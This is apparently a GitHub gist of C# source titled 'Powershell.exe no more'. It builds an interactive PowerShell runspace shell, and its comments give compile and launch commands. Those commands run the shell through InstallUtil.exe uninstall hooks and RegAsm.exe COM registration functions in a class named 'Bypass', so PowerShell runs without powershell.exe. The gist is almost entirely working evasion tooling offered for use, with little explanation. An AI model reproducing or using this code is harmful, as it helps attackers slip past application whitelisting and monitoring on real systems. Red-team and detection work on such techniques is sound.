Skip to content

Instantly share code, notes, and snippets.

@benpturner
Last active July 18, 2018 18:59
Show Gist options
  • Save benpturner/ca3235ff95f2f003e69cdbd72bac4c49 to your computer and use it in GitHub Desktop.
Save benpturner/ca3235ff95f2f003e69cdbd72bac4c49 to your computer and use it in GitHub Desktop.
Powershell.exe no more
using System;
using System.Text;
using System.Diagnostics;
using System.Reflection;
using System.Configuration.Install;
using System.Runtime.InteropServices;
using System.Collections.ObjectModel;
using System.Management.Automation;
using System.Management.Automation.Runspaces;
using System.EnterpriseServices;
namespace ps {
// Compiling with CSC.exe v4.0.30319 or v3.5
// C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /out:C:\Temp\posh.exe C:\Temp\posh.cs /reference:System.Management.Automation.dll
// C:\Windows\Microsoft.NET\Framework\v3.5\csc.exe /out:c:\temp\posh.exe C:\temp\posh.cs /reference:System.Management.Automation.dll
// Running via InstallUtil.exe
// C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U C:\temp\posh.exe
// Compiling with CSC.exe v4.0.30319 or v3.5 for use with regasm.exe
// C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /target:library /out:C:\Temp\posh.dll C:\Temp\posh.cs /reference:System.Management.Automation.dll
// C:\Windows\Microsoft.NET\Framework\v3.5\csc.exe /target:library /out:c:\temp\posh.dll C:\temp\posh.cs /reference:System.Management.Automation.dll
// Running via RegAsm.exe
// C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe /U C:\temp\posh.dll
public class Program
{
public static Runspace newrunspace;
public static void startrunspace()
{
newrunspace = RunspaceFactory.CreateRunspace();
newrunspace.Open();
}
public static string InvokeAutomation(string cmd)
{
RunspaceInvoke scriptInvoker = new RunspaceInvoke(newrunspace);
Pipeline pipeline = newrunspace.CreatePipeline();
if (cmd == "$a;"){
pipeline.Commands.AddScript(cmd);
} else {
pipeline.Commands.AddScript(cmd + " | Out-String");
}
Collection<PSObject> results = pipeline.Invoke();
//newrunspace.Close();
StringBuilder stringBuilder = new StringBuilder();
foreach (PSObject obj in results)
{
stringBuilder.Append(obj);
}
return stringBuilder.ToString().Trim();
}
public static void Main()
{
try
{
startrunspace();
string ps = null;
Console.Write("PS>");
while(!String.IsNullOrEmpty(ps = "$a;" +Console.ReadLine().Trim()))
{
try
{
Console.WriteLine(InvokeAutomation(ps));
}
catch( Exception ex)
{
Console.Write(ex.Message);
}
Console.Write("PS>");
}
}
catch
{
Main();
}
}
}
public class Bypass : ServicedComponent
{
public Bypass() { Console.WriteLine("I am a basic COM Object"); }
[ComRegisterFunction]
public static void RegisterClass ( string key )
{
Program.Main();
}
[ComUnregisterFunction]
public static void UnRegisterClass ( string key )
{
Program.Main();
}
}
[System.ComponentModel.RunInstaller(true)]
public class Sample : System.Configuration.Install.Installer
{
public override void Uninstall(System.Collections.IDictionary savedState)
{
Program.Main();
}
public static string InvokeAutomation(string cmd)
{
Runspace newrunspace = RunspaceFactory.CreateRunspace();
newrunspace.Open();
RunspaceInvoke scriptInvoker = new RunspaceInvoke(newrunspace);
Pipeline pipeline = newrunspace.CreatePipeline();
pipeline.Commands.AddScript(cmd);
Collection<PSObject> results = pipeline.Invoke();
newrunspace.Close();
StringBuilder stringBuilder = new StringBuilder();
foreach (PSObject obj in results)
{
stringBuilder.Append(obj);
}
return stringBuilder.ToString().Trim();
}
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment